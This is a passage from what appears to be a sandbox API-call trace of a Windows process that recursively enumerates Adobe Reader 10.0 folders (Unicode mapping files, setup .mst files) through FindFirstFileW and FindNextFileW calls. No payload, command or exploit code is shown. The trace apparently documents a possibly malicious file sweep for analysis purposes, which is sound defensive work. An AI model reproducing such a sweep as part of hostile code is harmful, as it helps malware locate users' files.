lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x39c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROMANIAN.TXT", cAlternateFileName="")) returned 1 [0240.495] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3d73, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYMBOL.TXT", cAlternateFileName="")) returned 1 [0240.495] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3bc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THAI.TXT", cAlternateFileName="")) returned 1 [0240.495] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3219, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURKISH.TXT", cAlternateFileName="")) returned 1 [0240.496] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKRAINE.TXT", cAlternateFileName="")) returned 1 [0240.496] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKRAINE.TXT", cAlternateFileName="")) returned 0 [0240.496] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0240.496] GetProcessHeap () returned 0x550000 [0240.496] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0240.496] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win", cAlternateFileName="")) returned 1 [0240.497] GetProcessHeap () returned 0x550000 [0240.497] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0240.497] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0240.499] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.499] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2664, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1250.TXT", cAlternateFileName="")) returned 1 [0240.499] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83386a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1251.TXT", cAlternateFileName="")) returned 1 [0240.499] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1252.TXT", cAlternateFileName="")) returned 1 [0240.499] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2414, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1253.TXT", cAlternateFileName="")) returned 1 [0240.499] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1254.TXT", cAlternateFileName="")) returned 1 [0240.499] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x219a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1255.TXT", cAlternateFileName="")) returned 1 [0240.499] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x22fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1256.TXT", cAlternateFileName="")) returned 1 [0240.499] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x252c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1257.TXT", cAlternateFileName="")) returned 1 [0240.499] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2522, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1258.TXT", cAlternateFileName="")) returned 1 [0240.499] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2221, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP874.TXT", cAlternateFileName="")) returned 1 [0240.499] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8346b240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a0f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP932.TXT", cAlternateFileName="")) returned 1 [0240.499] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8346b240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xccee7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP936.TXT", cAlternateFileName="")) returned 1 [0240.499] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834913a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc5492, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP949.TXT", cAlternateFileName="")) returned 1 [0240.499] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834913a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fa1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP950.TXT", cAlternateFileName="")) returned 1 [0240.500] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834913a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fa1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP950.TXT", cAlternateFileName="")) returned 0 [0240.500] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0240.500] GetProcessHeap () returned 0x550000 [0240.500] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0240.500] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win", cAlternateFileName="")) returned 0 [0240.501] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0240.501] GetProcessHeap () returned 0x550000 [0240.501] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0240.501] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 0 [0240.501] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0240.501] GetProcessHeap () returned 0x550000 [0240.501] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0240.501] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unicode", cAlternateFileName="")) returned 0 [0240.501] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0240.501] GetProcessHeap () returned 0x550000 [0240.501] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0240.502] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 0 [0240.502] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0240.503] GetProcessHeap () returned 0x550000 [0240.503] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0240.503] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 1 [0240.503] GetProcessHeap () returned 0x550000 [0240.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0240.503] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0240.503] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.503] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", cAlternateFileName="{AC76B~1")) returned 1 [0240.503] GetProcessHeap () returned 0x550000 [0240.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0240.503] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0240.508] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.508] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7cfd90c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="1027.mst", cAlternateFileName="")) returned 1 [0240.509] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="1028.mst", cAlternateFileName="")) returned 1 [0240.509] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="1029.mst", cAlternateFileName="")) returned 1 [0240.509] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d55a3a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="1030.mst", cAlternateFileName="")) returned 1 [0240.509] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d55a3a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1031.mst", cAlternateFileName="")) returned 1 [0240.509] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d55a3a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033.mst", cAlternateFileName="")) returned 1 [0240.509] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d55a3a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0x0, dwReserved1=0x0, cFileName="1034.mst", cAlternateFileName="")) returned 1 [0240.509] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="1035.mst", cAlternateFileName="")) returned 1 [0240.509] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036.mst", cAlternateFileName="")) returned 1 [0240.509] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, 